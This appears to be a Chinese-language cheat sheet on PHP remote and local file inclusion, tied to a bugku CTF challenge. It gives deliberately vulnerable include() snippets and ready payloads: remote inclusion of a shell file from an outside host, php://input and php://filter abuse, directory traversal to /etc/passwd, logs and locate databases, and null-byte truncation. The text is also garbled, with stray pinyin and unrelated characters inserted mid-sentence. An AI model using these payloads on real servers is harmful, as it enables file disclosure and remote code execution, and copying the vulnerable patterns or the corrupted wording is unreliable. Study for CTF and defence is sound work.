0x01 普通遠(yuǎn)程文件包含
這是我接觸web最先碰到的一種虚吟,bugku中http://120.24.86.145:8005/post/的就利用了此類文件包含
#!php
<?php include($_GET['file']); ?>
-
遠(yuǎn)程代碼執(zhí)行
?file=[http|https|ftp]://example.com/shell.txt
(需要allow_url_fopen=On并且 allow_url_include=On) -
利用php流input
?file=php://input
(需要allow_url_include=On) -
利用php流filter
?file=php://filter/convert.base64-encode/resource=index.php
(需要allow_url_include=On)
0x02 普通本地文件包含
#!php
<?php include("inc/" . $_GET['file']); ?>
-
包含目錄下的文件
?file=.htaccess
-
目錄遍歷
?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db
(linux中這兩個(gè)文件存儲(chǔ)著所有文件的路徑再芋,需要root權(quán)限) -
包含錯(cuò)誤日志
?file=../../../../../../../../../var/log/apache/error.log
-
包含上傳的附件
?file=../attachment/media/xxx.file
0x03 有限制的本地文件包含
#!php
<?php include("inc/" . $_GET['file'] . ".htm"); ?>
-
%00截?cái)?/strong>
?file=../../../../../../../../../etc/passwd%00
(需要 magic_quotes_gpc=off乏盐,PHP小于5.3.4有效)